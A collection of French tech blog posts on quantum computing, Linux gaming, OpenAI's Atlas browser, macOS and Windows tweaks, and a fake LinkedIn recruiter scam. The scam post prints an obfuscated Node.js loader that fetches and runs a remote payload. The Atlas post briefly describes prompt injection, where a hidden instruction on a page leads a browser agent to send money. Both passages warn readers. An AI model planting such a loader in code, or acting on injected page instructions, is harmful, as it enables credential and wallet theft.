Depuis 2019 et la fameuse “suprématie quantique” de Google , on était en fait coincé dans un paradoxe de confiance assez drôle. Google nous disait “regardez, on a résolu un problème qui prendrait 10 milliards de milliards d’années à un supercalculateur”. Bon ok, j’veux bien les croire mais comment on vérifie ? Bah justement, on pouvait pas ! C’est un peu comme les promesses des gouvernements, ça n’engage que les gros teubés qui y croient ^^.

Heureusement grâce à Quantum Echoes, c’est la fin de cette ère du “Faites-nous confiance” car pour la première fois dans l’histoire de l’informatique quantique, un algorithme peut être vérifié de manière reproductible . Vous lancez le calcul sur la puce Willow de Google, vous obtenez un résultat. Vous relancez, vous obtenez le même. Votre pote avec un ordi quantique similaire lance le même truc, et il obtient le même résultat. Ça semble basique, mais pour le quantique, c’est incroyable !!

Willow, la puce quantique de Google

L’algorithme en question s’appelle OTOC (Out-Of-Time-Order Correlator), et il fonctionne comme un écho ultra-sophistiqué. Vous envoyez un signal dans le système quantique, vous perturbez un qubit, puis vous inversez précisément l’évolution du signal pour écouter l’écho qui revient. Cet écho quantique se fait également amplifier par interférence constructive, un phénomène où les ondes quantiques s’additionnent et deviennent plus fortes. Du coup, ça permet d’obtenir une mesure d’une précision hallucinante.

En partenariat avec l’Université de Californie à Berkeley, Google a testé ça sur deux molécules, une de 15 atomes et une autre de 28 atomes et les résultats obtenus sur leur ordinateur quantique correspondaient exactement à ceux de la RMN (Résonance Magnétique Nucléaire) traditionnelle. Sauf que Quantum Echoes va 13 000 fois plus vite qu’un supercalculateur classique pour ce type de calcul.

En gros, ce qui aurait pris 3 ans sur une machine classique prend 2 heures sur un Willow.

Cette vitesse, c’est impressionnant mais ce qui change la donne dans cette annonce, c’est cette notion de vérifiabilité ! Bref, c’est fini le bullshit, maintenant la structure de systèmes quantiques (des molécules aux aimants en passant par les trous noirs) sera vérifiable et comparable.

Et les applications concrètes sont déjà plutôt bien identifiées : Découverte de médicaments, pour comprendre comment les molécules se lient à leurs cibles, la science des matériaux, pour caractériser la structure moléculaire de nouveaux polymères ou les composants de batteries, la fusion nucléaire…etc tout ce qui nécessite de modéliser des phénomènes quantiques avec une précision extrême !

Google compare ça à un “quantum-scope”, capable de mesurer des phénomènes naturels auparavant inobservables un peu comme l’ont été le télescope et le microscope qui nous ont donné accès à de nouveaux mondes invisibles. Le Quantum Echoes nous donne un accès ce monde quantique sauf que cette fois, on pourra vérifier que la réalité est identique à celle annoncée par les scientifiques.

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ROG Xbox Ally - Pourquoi Linux c'est mieux que Windows ?

Par : Korben
23 octobre 2025 à 11:19

Microsoft vient d’optimiser Windows pour le ROG Xbox Ally et à peine 6 jours après leur annonces, les tests indiques que Linux permet d’atteindre un FPS 32% supérieur à celui sous Windows pour le jeu Kingdom Come: Deliverance 2. Sur Hogwarts Legacy, c’est la même histoire puisqu’on atteint 62 FPS sous Bazzite, et 50 FPS sous l’OS officiel Windows . Donc en moyenne, Linux sort environ 7 FPS de plus que Windows, avec des courbes de framerate qui restent plates alors que celles de Windows font du yoyo. Ah oui, et la sortie de veille est instantanée sous Bazzite alors que sous Windows, il faut attendre 15 à 40 secondes que la machine daigne se réveiller, ventilateurs compris.

Alors comment c’est possible ? Car Microsoft contrôle quand même l’OS, le hardware via Asus, et tout l’écosystème Xbox. Ils ont même annulé leur propre Xbox portable (le “Project Pembroke”) pour se concentrer très très fort sur l’optimisation de Windows pour ROG Xbox Ally.

Et bien d’après le youtubeur Cyber Dopamine, la réponse tient en un mot : bloatware. Car oui un bon gros Windows 11, même optimisé à fond se trimballe avec sa télémétrie, ses processus en tâche de fond, et son héritage technique conservé pour la compatibilité sur les 30 dernières années.

Alors que Bazzite, c’est l’inverse puisque c’est une distribution Linux basée sur Fedora qui est construite avec un seul objectif : faire tourner des jeux ! Pas de télémétrie, pas de Windows Update qui se lance en pleine partie, pas de processus mystérieux qui bouffent 5% de CPU pour rien. Bazzite c’est juste le strict nécessaire pour rendre joyeux les gamers.

Et surtout Bazzite est mis à jour en permanence par son développeur principal (Antheus) alors que Microsoft, ça prend plus de temps, y’a plus d’étapes à respecter dans les process de dev…etc. C’est lourdingue quoi.

Mais après plutôt que de râler contre Windows en mode vieux connard, vous pouvez dual-booter sur votre ROG Xbox Ally. Comme ça, vous gardez Windows pour les jeux qui ont un anticheat qui bloquent Linux (du genre Battlefield 6, boouuuuh) et basculer sur Bazzite pour tout le reste. Vous gagnerez ainsi 30% de performances, une sortie de veille instantanée, et la satisfaction de savoir que votre console portable à 800 boules fonctionne enfin à son plein potentiel.

Après, vous faites ce que vous voulez mais 62 FPS contre 47, ça se discute pas vraiment…

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J'ai testé Atlas, le navigateur IA ChatGPT d'OpenAI

Par : Korben
22 octobre 2025 à 10:32

J’sais pas si vous avez vu ça mais OpenAI vient de sortir son propre navigateur web avec ChatGPT intégré en permanence sur le côté. Baptisé Atlas, c’est tout pareil que Comet de Perplexity quoi… L’idée c’est donc d’avoir une IA qui comprend tout ce que vous faites sur le web et qui peut agir à votre place. Genre, vous lui demandez de commander vos courses ou de remplir un formulaire, et elle le fait.

Sur le papier, c’est génial car c’est un assistant intelligent qui ne quitte jamais l’écran, qui voit tous vos onglets ouverts, qui se souvient de ce que vous avez cherché la semaine dernière, et qui peut cliquer dans votre navigateur pour faire des trucs à votre place.

Atlas est basé sur Chromium et la première fois que vous l’ouvrez, il vous propose d’importer vos marque-pages, mots de passe et historique depuis votre navigateur actuel (Safari / Chrome…. mais pas de Firefox). Ça prend 30 secondes et ensuite, vous vous connectez à votre compte ChatGPT, et hop, vous avez ChatGPT qui vous suit partout.

L’interface est minimaliste, y’a pas rien de révolutionnaire visuellement à part cette sidebar ChatGPT qui est le truc central d’Atlas car elle est toujours là, sur le côté droit de votre écran. Vous pouvez donc lui poser des questions en écrivant un truc ou en vocal et l’IA comprendra automatiquement le contexte de la page que vous êtes en train de regarder.

Comme ça si vous êtes sur un article technique, vous pouvez lui demander de le résumer ou de vous faire un tuto. Si vous voulez comparer des produits sur Amazon ou ailleurs, vous lui demandez lequel choisir. Pas besoin de copier-coller, pas besoin de faire des screenshots, ChatGPT voit ce que vous voyez.

J’ai testé ça avec plein de scénarios différents de la recherche d’infos techniques, à la comparaison de prix, en passant par la lecture d’articles longs et c’est assez pratique.

La fonctionnalité “browser memories”, c’est le deuxième gros truc d’Atlas. En gros, ça permet à ChatGPT de se souvenir de tout ce que vous faites sur le web. Les sites que vous visitez, les recherches que vous faites, les produits que vous regardez et il utilise ensuite ça pour personnaliser ses réponses et vous faire des suggestions. Par exemple, si vous avez passé une semaine à regarder des ordinateurs portables, il peut vous dire “Tiens gros, y’a une promo sur le modèle que t’as vu hier”. Ou si vous cherchez un resto, il peut par exemple se souvenir que vous n’aimez pas les fruits de mer.

Bien sûr, vous pouvez les consulter dans les paramètres et les archiver une par une si elles deviennent inutiles… Après c’est toujours un peu flippant de voir tout ce que cette IA (et la NSA par ricochet) sait sur nous.

OpenAI promet que ces données ne sont pas utilisées pour entraîner leurs modèles par défaut et vous pouvez activer le mode incognito pour que ChatGPT arrête de tout logger mais bon, leurs promesses n’engagent que ceux qui y croient. Il y a aussi une option pour bloquer la visibilité de ChatGPT sur certains sites spécifiques. Par exemple, vous pouvez lui dire de ne rien regarder quand vous êtes sur votre banque en ligne, sur un site médical ou sur votre site pour adulte préféré ^^. Bref, c’est bien pensé niveau contrôle.

Y’a aussi le mode Agent qui est LA fonctionnalité star qu’OpenAI a mise en avant. C’est là qu’Atlas devient un “super-assistant” qui peut agir à votre place. Vous lui donnez une tâche, et il se met à cliquer dans votre navigateur pour la faire du genre réserver une table au resto, collecter vos factures, remplir un formulaire administratif, créer une liste de courses à partir d’une recette…etc tout ça sans avoir à toucher à la souris.

Maintenant, je vous le dis, leur promesse c’est de la science-fiction car dans la vraie vie, c’est plus compliqué. J’ai testé le mode Agent sur plusieurs tâches, et les résultats sont très inégaux. Les trucs simples, ça passe mais dès que ça devient un peu plus complexe, ça coince. L’Agent clique lentement, hésite, revient en arrière, se trompe de bouton. C’est pas fluide du tout et l’agent se perd très vite complètement.

Notez que ce mode Agent est pour le moment réservé aux abonnés Plus, Pro et Business donc si vous êtes en gratuit, vous n’y aurez pas accès. Après, OpenAI ne s’en cache pas et a expliqué que ce mode agent, c’était surtout une beta publique et donc qu’il ne fallait pas s’attendre à des miracles.

Puis au niveau sécu, l’agent peut aussi se faire manipuler par des instructions malveillantes cachées dans une page web ou un email, du genre, vous visitez un site piégé, l’agent lit une instruction invisible qui lui dit “vire 500 euros sur ce compte”, et il pourrait le faire comme un couillon. OpenAI a bien sûr mis des garde-fous, mais ils disent eux-mêmes que ça arrêtera pas toutes les attaques.

Donc à vous de voir si l’idée de laisser une IA cliquer partout dans votre navigateur pendant que vous êtes connecté à votre banque, votre boite mail ou vos réseaux sociaux vous convient.

La fonction “in-line writing”, c’est un truc que j’ai beaucoup aimé par contre. Vous êtes en train d’écrire un email, un message, un doc Google, peu importe. Vous sélectionnez votre texte, vous faites clic droit, et ChatGPT vous propose de le réécrire, de le raccourcir, de corriger les fautes, de changer le ton. Et ça fonctionne partout, dans tous les champs de texte web comme ça plus besoin de copier-coller vers ChatGPT et revenir. C’est assez fluide. D’ailleurs si vous voulez faire la même chose mais en local et gratos, y’a NativeMind que je vous recommande.

Voilà, vous pouvez télécharger Atlas sur chatgpt.com/atlas histoire de tester. Après le jour où l’agent sera vraiment fiable et rapide, ça va tout changer je pense. On va pouvoir lui déléguer plein de tâches chiantes et on aura plus jamais besoin de remplir des formulaires, de comparer 50 produits à la con sur Amazon, ou de chercher des restos pendant des heures.

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Des icônes datant de l'époque de Windows 95 sont encore présentes dans Windows 11

Par : Korben
22 octobre 2025 à 09:37

Vous vous souvenez de Windows 95 et de ses icônes ? A cette époque, moi je passais des heures à explorer chaque fichier .dll et .exe pour y découvrir des trésors cachés ( Resource Hacker qui se souvient ?).

Et bien tenez-vous bien, il y en a une bien nostalgique qui existe toujours dans Windows 11. Elle s’appelle pifmgr.dll, elle pèse 36 Ko, et elle a été créée “juste pour rire” il y a 30 ans.

Raymond Chen, un ingénieur Microsoft légendaire qui tient le blog The Old New Thing depuis des années, vient de raconter l’histoire de ce fichier qui refuse de crever et c’est une histoire assez marrante parce qu’elle dit beaucoup sur la façon dont Microsoft gère son propre bordel historique !

À l’origine, pifmgr.dll a été créée pour Windows 95 et son job officiel c’était de gérer les fichiers PIF, c’est-à-dire les Program Information Files qui décrivaient comment lancer une session MS-DOS virtuelle pour faire tourner vos vieux programmes DOS sous Windows. Je m’en souviens bien car à cette époque pour lancer certains jeux DOS sous Windows, il fallait configurer manuellement la mémoire étendue et la mémoire conventionnelle afin que ça démarre correctement…

Mais Raymond Chen, ce coquin, a décidé de planquer dedans une petite collection d’icônes 16 couleurs totalement inutiles. Des fenêtres, des balles, des trompettes, des chapeaux de magicien, des blocs de jeu avec des lettres, des nuages. Je suis sûr que ça va vous rappeler des souvenirs !! C’est le genre de trucs qu’on mettait sur nos raccourcis foireux quand on voulait customiser notre bureau Windows avec des icônes qui claquaient ^^.

Y’a même une pomme croquée du côté gauche… Ça ne vous rappelle rien ? C’est le genre de petite vanne passive-agressive que les développeurs Microsoft aimaient mettre partout dans les années 90.

Les nuages aussi, c’est pas un hasard. C’était le thème visuel de Windows 95. Vous vous souvenez du ciel bleu avec les nuages blancs qui s’affichait au démarrage ? Bah voilà, ils ont mis des icônes de nuages dans pifmgr.dll pour rester dans le mood.

Bref, aucune utilité pratique à tout ça, mais juste du fun. Et aujourd’hui, 30 ans plus tard (ouin ! on est vieux.), cette dll existe toujours dans Windows 11.

Et pas parce que Microsoft a voulu préserver l’histoire ou rendre hommage aux pionniers de Windows 95, non, la vraie raison, c’est que Microsoft a la flemme de la virer . Supprimer un fichier comme ça, ça coûte plus cher en tests et en compatibilité plutôt que de le laisser traîner.

Car oui, quelque part dans le monde, il y a forcément un script d’entreprise qui référence cette dll, ou un vieux raccourci qui pointe vers une de ces icônes. Et si Microsoft supprime le fichier, ben ça va péter quelque part, et ça va générer des tickets de support.

Donc Microsoft préfère garder ce petit fichier de 36 Ko qui ne fait de mal à personne. En plus, c’est tellement léger que ça ne vaut même pas le coup d’en discuter. Du coup, pifmgr.dll continue sa petite vie tranquille, planquée dans les profondeurs de Windows 11, comme une capsule temporelle des années 90 que personne n’a demandée mais que tout le monde garde par pure flemme.

Marrant non ?

Donc si vous voulez voir ces icônes de vos propres yeux, vous pouvez aller chercher pifmgr.dll dans votre installation Windows car elle est toujours là, avec ses 16 couleurs et ses gros pixels.

Merci à Lorenper pour ce partage qui m’a fait replonger dans mes souvenirs de Windows 95 !

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Comment se débarrasser de Liquid Glass sous macOS 26 Tahoe ?

Par : Korben
21 octobre 2025 à 11:53

Apple a sorti il y a quelques jours macOS 26 Tahoe avec sa nouvelle interface “Liquid Glass” qui est censée “révolutionner votre expérience utilisateur”. Mais bon ça plait pas à grande monde… Y’a soit les gars comme moi à qui ça en touche une sans faire bouger l’autre. J’ai même pas trop vu la différence à vrai dire. Puis y’a les gens qui veulent la désactiver le plus vite possible.

Le problème c’est que quand Apple lance un truc “révolutionnaire” que tout le monde cherche à virer, c’est jamais simple !

Pour ceux qui en sont encore à se demander s’il faut passer sous Windows 11, sachez que Liquid Glass, c’est cette nouvelle couche visuelle qu’Apple a plaquée sur macOS 26. C’est de mon point de vue, une bonne grosse idée marketing pour nous vendre de la transparence, de la luminosité, des effets de flou artistique partout. Ça fait joli dans les keynotes avec les animations fluides et des transitions qui brillent sauf qu’en vrai, sur le Mac, ça donne surtout des menus où on voit que dalle et des fenêtres où le texte est en partie illisible.

Voilà donc le premier vrai gros problème de Liquid Glass, c’est la lisibilité. Les menus sont tellement transparents que vous ne voyez plus ce qui est écrit dedans et le Centre de contrôle c’est une abomination, avec des couches de blanc sur du blanc et juste une petite ombre portée ridicule pour différencier les éléments.

Et le pire, c’est que c’est pas un design pensé pour Mac. C’est un design iOS qu’Apple a voulu coller de force sur macOS. Les boutons arrondis façon Liquid Glass qui sont super réactifs sur un écran tactile, bah sur Mac avec une souris, c’est juste des boutons tout naze et vu que les barres d’outils c’est partout dans macOS, on se tape ça en permanence !

Certains utilisateurs bien OuinOuin relous se plaignent même de fatigue oculaire. Le contraste bas, la transparence excessive et l’encombrement visuel font que tout se mélange dans leur petit cerveau tout mou et au final on passe plus de temps à plisser les yeux pour lire un menu qu’à bosser. Et c’est pas Apple qui va rembourser les séances chez l’orthoptiste !

Heureusement, y’a des solutions pour virer toute cette merde. La première c’est la méthode officielle via les réglages d’accessibilité. Vous ouvrez Réglages Système, vous allez dans Accessibilité puis Affichage, et vous cochez “Réduire la transparence”. Ça désactive pas complètement Liquid Glass mais ça réduit l’intensité de l’effet. C’est mieux que rien.

Mais si vous voulez vraiment tuer Liquid Glass dans l’œuf, y’a une commande qui fait le taf très bien. Vous ouvrez un Terminal et vous tapez :

defaults write -g com.apple.SwiftUI.DisableSolarium -bool YES

Vous redémarrez ensuite votre Mac et hop, Liquid Glass sera un lointain souvenir. Ce qui est marrant, c’est que cette commande suggère que Liquid Glass n’est qu’un simple skin plaquée par-dessus l’interface classique de macOS… donc au final toute cette révolution visuelle incroyable c’est juste un bon gros vernis qui va même surement jaunir avec le temps.

Et pour ceux qui veulent aller encore plus loin, y’a SolidGlass , un petit utilitaire gratuit et open-source qui vous permet de désactiver Liquid Glass soit pour tout le système, soit app par app. Vous le téléchargez, vous lui donnez les permissions d’accessibilité (oui, ça demande pas mal d’accès mais c’est open-source donc vous pouvez vérifier le code), et il vous liste toutes vos apps installées avec des cases à cocher.

Vous cochez une app, vous la relancez, et bim, plus de Liquid Glass sur cette app. C’est parfait si vous voulez garder l’effet sur certaines apps et le virer sur d’autres par contre attention, certaines apps système sont obligées de garder leur effet Liquid Glass. C’est donc parfois impossible à virer mais c’est comme ça. (Merci Apple ^^)

Puis si ça vous plait pas, c’est peut-être le moment de retourner sous Windows ou d’aller découvrir les plaines sauvages de Linux !

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Si vous disparaissiez demain, qui s'en rendrait compte ?

Par : Korben
17 octobre 2025 à 15:45

Question flippante, hein ?

Vous postez des stories Instagram, vous faites des snaps, des TikToks, en bon nazi vous likez des tweets, vous répondez à des emails pro…etc. Votre vie numérique ronronne comme un chat sous coke mais si demain, tout ça s’arrêtait…? A votre avis, Combien de temps avant que quelqu’un ne toque à votre porte pour vérifier que vous allez bien ?

Un jour ? Deux jours ? Une semaine ?

On est tous hyperconnectés 24/7 mais personne ne surveille vraiment notre silence et vos 500 meilleurs amis de Facebook ne prendront jamais la peine de signaler votre disparition.

C’est de ce constat un peu morbide qu’est né Wellness Ping, un projet open source développé par micr0 et hébergé sur GitHub qui fonctionne comme ceci : Vous vous inscrivez dessus, et vous recevez un email régulier pour confirmer que vous allez bien. Si vous ne répondez pas, vos contacts d’urgence sont alors automatiquement alertés.

C’est ce qu’on appelle un dead man’s switch, le joujou préféré des cons de terroristes qui se font exploser dans les films des années 80. En gros, tant que vous confirmez votre présence, tout va bien mais si le silence se prolonge, l’alarme se déclenche.

Vous pouvez l’auto-héberger vous-même ou utiliser directement le site wellness-p.ing (C’est gratuit). Vous choisissez alors la fréquence des pings, soit quotidien ou hebdomadaire, selon votre niveau de paranoïa ou de solitude et quand vous recevez l’email, vous cliquez sur un lien ou vous répondez “PONG” et c’est tout. Pas de dashboard compliqué, pas de machins de gamification débiles…

Et si vous ne répondez pas parce que vous êtes coincé au chiottes depuis 3 jours, le système vous envoie un rappel. Si vous ne répondez toujours pas, il attend encore un peu. Et si le silence persiste, vos contacts d’urgence reçoivent alors automatiquement une alerte.

C’est clairement fait pour activistes, les journalistes, les chercheurs, et les gens qui vivent seuls. Bref, tous ceux dont la vie pourrait basculer sans que personne ne s’en rende compte immédiatement. Je pense pas exemple à tous ceux qui bossent en remote et qui n’ont pas de collègues pour remarquer leur absence.

Au Japon, il y a un mot pour ça d’ailleurs. Ils disent kodokushi pour “Mort solitaire” car là bas, des milliers de personnes par an meurent seules chez elles, et on ne les découvre que des jours ou des semaines plus tard. C’est d’ailleurs souvent parce que les voisins sentent que ça schlingue ou parce que le courrier s’entasse sous la porte. Je sais, c’est gore mais c’est la triste réalité.

Avec Wellness Ping on inverse donc la logique… Au lieu d’attendre que quelqu’un remarque votre absence, vous créez un système proactif où vous choisissez les contacts, vous qui décidez de la fréquence et comme ça, si un jour vous ne pouvez plus répondre, le filet de sécurité se déploie automatiquement.

Côté technique, le projet est développé en Go donc c’est léger, rapide, et la démo tourne sur un serveur en Suède parce que ce pays a une législation stricte sur les données personnelles.

Bref, c’est Wellness Ping, c’est une idée simple mais qui protège alors pensez-y !

Attention au piège du faux recruteur Linkedin !

Par : Korben
17 octobre 2025 à 11:43

Vous avez peur que l’IA prenne votre boulot ? Et bien David Dodda, lui, a failli se faire avoir par un faux boulot et c’est son IA qui l’a sauvé ! Je vous explique !

Tout commence classiquement sur LinkedIn. David reçoit un message de Mykola Yanchii, Chief Blockchain Officer chez Symfa, une boîte qui développe des plateformes blockchain. Le profil LinkedIn a l’air béton… Il a plus de 1000 connexions, une page entreprise nickel, bref tout respire le sérieux.

Et son message est pro, poli, et propose à David un poste à temps partiel sur BestCity, une plateforme immobilière. Bref, c’est le genre d’opportunité qu’on ne refuse pas quand on est développeur freelance comme David.

Le premier rendez-vous par visio se passe très bien. Le recruteur connait son sujet, pose les bonnes questions, explique le projet et ensuite, comme dans 99% des processus de recrutement tech, on envoie à David un test technique à réaliser chez lui. Il s’agit d’un projet hébergé sur Bitbucket, du code React et Node.js bien propre et sa mission c’est de compléter quelques fonctionnalités et renvoyer le tout avant la prochaine réunion.

Sauf que David, lui, a pris un réflexe que peu de gens ont. Avant même de lancer npm install, il a demandé à son assistant IA (Cursor) de scanner le code pour détecter d’éventuels patterns suspects. Et là, bingo ! L’IA trouve un truc louche dans le fichier server/controllers/userController.js.

Il s’agit d’un malware qui était bien planqué dans une fonction asynchrone complètement obfusquée. Un tableau d’octets encodé en ASCII qui, une fois décodé en UTF-8, révèle une URL pointant vers une API externe. Et cette URL récupère un payload qui est ensuite exécutée avec tous les privilèges Node.js. Cela débouche à sur un accès complet au système, aux credentials, aux wallets crypto, aux données clients…etc. Le jackpot pour un attaquant !

//Get Cookie
(async () => {
 const byteArray = [
 104, 116, 116, 112, 115, 58, 47, 47, 97, 112, 105, 46, 110, 112, 111, 105,
 110, 116, 46, 105, 111, 47, 50, 99, 52, 53, 56, 54, 49, 50, 51, 57, 99, 51,
 98, 50, 48, 51, 49, 102, 98, 57
 ];
 const uint8Array = new Uint8Array(byteArray);
 const decoder = new TextDecoder('utf-8');
 axios.get(decoder.decode(uint8Array))
 .then(response => {
 new Function("require", response.data.model)(require);
 })
 .catch(error => { });
})();

Et le truc flippant, c’est le niveau de sophistication de l’opération car là on n’a pas affaire à un script kiddie qui balance un trojan par email. Non, c’est une vraie infrastructure professionnelle avec un profil LinkedIn premium, un Calendly pour la prise de rendez-vous, un Bitbucket privé, du code source propre et fonctionnel (hormis le malware planqué). Et surtout, l’URL du malware est devenue HS 24 heures à peine après l’attaque. C’est donc une infrastructure éphémère qui laisse zéro trace.

Si je relaye ce témoignage de David c’est parce que ce genre d’attaque se multiplie. Ce n’est pas un cas isolé… Par exemple le groupe nord-coréen Lazarus utilise cette technique depuis des mois, en créant de fausses entreprises crypto, de faux profils de recruteurs sur LinkedIn, Upwork, Freelancer, et en ciblant spécifiquement les développeurs. Le malware déployé s’appelle BeaverTail, et il installe ensuite un backdoor Python baptisé InvisibleFerret qui fonctionne sur Windows, Linux et macOS. Ce truc vise surtout les extensions de navigateur comme MetaMask ou Coinbase Wallet, récupère tous les mots de passe stockés, et collecte tout ce qui traine.

Alors pourquoi ça marche aussi bien ?

Hé bien parce que les hackers exploitent nos biais cognitifs. L’ambition de décrocher un bon job, la politesse pour ne pas vexer un recruteur, l’urgence créée artificiellement pour qu’on ne prenne pas le temps de réfléchir, la peur de rater une opportunité. Bref, toutes ces émotions qui court-circuitent notre esprit critique.

Heureusement que David a lancé une analyse IA du code sinon, il aurait eu de gros problèmes. Ça prend 30 secondes comme geste barrière et ça peut vous sauver des milliers d’euros et des centaines d’heures de galère.

Si David n’avait pas eu ce réflexe, il aurait lancé npm install, puis npm start, et le malware se serait exécuté en arrière-plan pendant qu’il codait tranquillement ses fonctionnalités. L’attaquant aurait alors eu accès à tout : Ses identifiants GitHub, ses clés SSH, ses tokens d’API, ses wallets crypto si il en a et peut-être même les données de ses clients. Le cauchemar absolu.

Voilà, donc méfiez vous de ce qui arrive via des plateformes de recrutement, on ne sait jamais ! Vous n’aurez peut être pas le job mais vous garderez votre ordinateur propre, vous conserverez vos cryptos, vos mots de passe et vos clients et ça c’est déjà pas si mal !

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La plus petit drone FPV du monde ?

Par : Korben
17 octobre 2025 à 10:50

Vous avez déjà passé trois semaines à résoudre un problème qui n’existe pas ?

Hé bien Sam Hoarder, lui, a fait encore mieux. Il a pris un drone FPV déjà ultra-compact, le BetaFPV Air65 avec ses 65mm d’empattement, et l’a transformé en un truc trois fois plus petit, dix fois plus galère à piloter, et totalement inutile !

22 millimètres d’empattement de moteur à moteur, ça qui tient dans une boîte de Pringles et c’est génial. Parce que OUI, dans un monde tech obsédé par des specs toujours plus impressionnantes, des autonomies de 48 heures et des écrans pliables dans tous les sens, Sam a fait un truc qui sert à rien. Il a pris un drone qui vole très bien et s’est dit “hey, comment je pourrais rendre ce drone encore moins pratique à pilote ?

Les hélices de l’Air65 de base font 31mm de diamètre, les moteurs font 9mm et si on fait se chevaucher les quatre hélices au maximum, on obtient théoriquement 31 - 9 = 22 mm d’empattement. Voilà, c’est tout… sauf que pour y arriver, il a fallu modéliser chaque composant dans SolidWorks, designer un cadre custom en deux plaques avec des supports moteur décalés, imprimer le tout en PLA avec une précision de 0,12 mm, et bien sûr démonter entièrement l’Air65 pour en remonter les moteurs avec des vis de montre, découper des oeillets au micron près, reconfigurer l’orientation du contrôleur de vol dans Betaflight avec un angle à 45°, et croiser les doigts très fort !!

Et le résultat est là puisque sont nouveau drone pèse 25 grammes tout mouillé avec sa batterie Lava 300mAh (qui est plus grande que le drone lui-même, au passage). La batterie dépasse donc littéralement du cadre. On dirait un cure-dent avec un sac à dos son machin et les quatre hélices se frôlent avec un espacement ridicule.

Et pour le décollage, c’est impossible de la faire partir posé au sol, car les hélices se touchent. Il faut donc le tenir délicatement entre deux doigts, armer les moteurs en priant pour ne pas déclencher le système anti-runaway, et le lâcher au moment précis où il commence à tenir.

Sam a filmé ses premiers essais et on le voit galérer pendant trois bonnes minutes, le drone dans une main, la radiocommande dans l’autre, essayant de trouver le timing parfait. C’est stressant à regarder, j’avoue et quand il y arrive enfin, le drone s’envole, vole correctement (ce qui est déjà un miracle), et on se dit “OK, mais maintenant il va faire quoi avec ?”

Hé bien rien. Absolument rien ^^.

Par contre, Sam a mis tous ses fichiers 3D gratuitement sur MakerWorld donc libre à vous de reproduire ce projet complètement inutile si ça vous chauffe.

Amusez-vous bien !

Windows 11 ne peut plus se parler à lui-même car Microsoft a cassé localhost

Par : Korben
17 octobre 2025 à 10:23

Vous connaissez ce mème que tous les barbus sans originalité ont sur un t-shirt ou une tasse et qui dit : “There’s no place like 127.0.0.1” ? (Oui moi aussi j’ai eu un t-shirt comme ça ^^)

Ce jeu de mots culte fait référence au Magicien d’Oz et surtout au localhost, qui est l’adresse locale où votre machine se connecte à elle-même. Eh bien mauvaise nouvelle, Microsoft vient de la rendre littéralement inopérante avec leurs dernières mises à jour de merde. Ainsi, Windows 11 ne peut plus accéder à sa propre adresse localhost. C’est fou quand même ! On dirait presque une blague mais non…

Les patchs KB5066835 et KB5065789 sortis en ce joli mois d’octobre ont pété totalement HTTP.sys, un composant du kernel Windows qui permet aux applications de discuter en local via HTTP/2. Du coup, les connexions vers 127.0.0.1 en HTTP/2 plantent systématiquement avec des messages d’erreur du genre ERR_CONNECTION_RESET ou ERR_HTTP2_PROTOCOL_ERROR.

Votre machine ne se reconnaît plus. Elle est là, elle fonctionne, mais elle ne peut plus se pinguer elle-même. Et évidemment, ceux qui trinquent ce sont surtout les développeurs. Visual Studio ne peut plus déboguer correctement, SQL Server Management Studio refuse de se connecter avec l’authentification Entra ID, l’application Duo Desktop, utilisée pour le 2FA, est complètement KO. Même des softs pros comme Autodesk Vault sont touchés.

Bref, si vous bossez avec du dev local ou des outils qui tournent en localhost, vous êtes dans la mierda.

Microsoft a corrigé dans ce patch un nombre record de 175 vulnérabilités CVE, dont 6 zero-days critiques et ils ont aussi fait le ménage en supprimant un vieux driver Agere Modem vieux de 20 ans qui traînait encore. Ils ont nettoyé, sécurisé, et optimisé Windows un peu plus mais visiblement sans faire quelques vérifications de base. Je trouve ça vraiment surprenant qu’aucun dev chez Microsoft ne s’en soit rendu compte avant que ça parte en prod.

Bon et alors, comment on s’en sort de leur nouvelle connerie ? Hé bien il y a 2 solutions, pas très classes mais qui fonctionnent.

La première, c’est de bidouiller le registre Windows pour désactiver HTTP/2. Vous allez dans

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\HTTP\Parameters

Et vous mettez EnableHttp2Tls et EnableHttp2Cleartext à 0.

Redémarrage obligatoire (C’est Windows, bébé) et voilà !

La deuxième solution, plus radicale, consiste à désinstaller les mises à jour. Un petit coup de

wusa /uninstall /kb:5066835

ou

wusa /uninstall /kb:5065789

dans votre terminal et hop, vous retrouvez votre localhost fonctionnel, sauf que voilà, au bout d’un moment, Windows Update va gentiment vous les réinstaller automatiquement au prochain redémarrage si vous ne faites pas gaffe. C’est un peu comme votre ex toxique qui revient sans cesse dans votre vie…

Le truc encore plus wtf dans cette histoire, c’est que ce bug n’existe pas sur les installations toutes fraîches de Windows 11 24H2. Donc si vous installez Windows 11 proprement depuis zéro, localhost fonctionnera nickel. C’est seulement si vous avez mis à jour votre machine que vous êtes maudit du cul. Microsoft suggère donc “implicitement” que la meilleure solution serait… de tout réinstaller ! Bah ouais, on a que ça à foutre ! Merci du conseil, les gars.

Bref, encore une fois, on a l’impression que les équipes QA de Redmond ont pris des vacances prolongées. Bref, encore un fail monumental ! Bilou reviens, tu nous manques ! ^^

Voilà, donc si vous êtes développeur et que Visual Studio vous fait la gueule depuis début octobre comme un ado qui viendrait de se lever, vous savez maintenant pourquoi. Ce n’est pas votre code qui est pourri (enfin, peut-être qu’il l’est, mais c’est un autre sujet…), c’est juste Windows 11 qui a la gueule de bois !

Home sweet home ? Plutôt “home where is my home ?”, ouais.

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Unfatten pour macOS - Récupérez de l'espace disque en supprimant le code mort de vos apps et plugins audio

Par : Korben
16 octobre 2025 à 12:40

Vous avez un Mac M1, M2, M3 ou M4 ? Bonne nouvelle, vous trimballez probablement entre 50 et 100 GB de code complètement inutile que votre processeur n’exécutera jamais et ce, depuis le jour où vous avez acheté votre superbe machine.

Les coupables ce sont les binaires universels de vos plugins audio (VST…etc) et vos apps traditionnelles qui contiennent maintenant deux versions complètes du code : une pour Intel, une pour Apple Silicon. Et comme votre Mac n’utilise qu’une seule de ces versions, mais vous payez le prix fort en espace disque pour les deux.

Car depuis 2020 et la transition vers Apple Silicon, Apple a choisi la simplicité : un seul fichier pour tout le monde ! Le développeur compile son code deux fois (Intel + ARM), colle les deux versions ensemble, et hop, vous vous retrouvez avec des fichiers littéralement deux fois plus gros qu’ils ne devraient l’être.

Et c’est là qu’ Unfatten entre en jeu. Ce petit outil gratuit fait exactement ce que son nom indique : il dégonfle vos plugins et vos applications en supprimant la partie du code que vous n’utilisez pas. Si vous êtes sur Apple Silicon, il vire le code Intel et si vous êtes encore sur Intel, il peut virer le code ARM (mais attention, si vous comptez upgrader votre Mac un jour, vous devrez tout réinstaller).

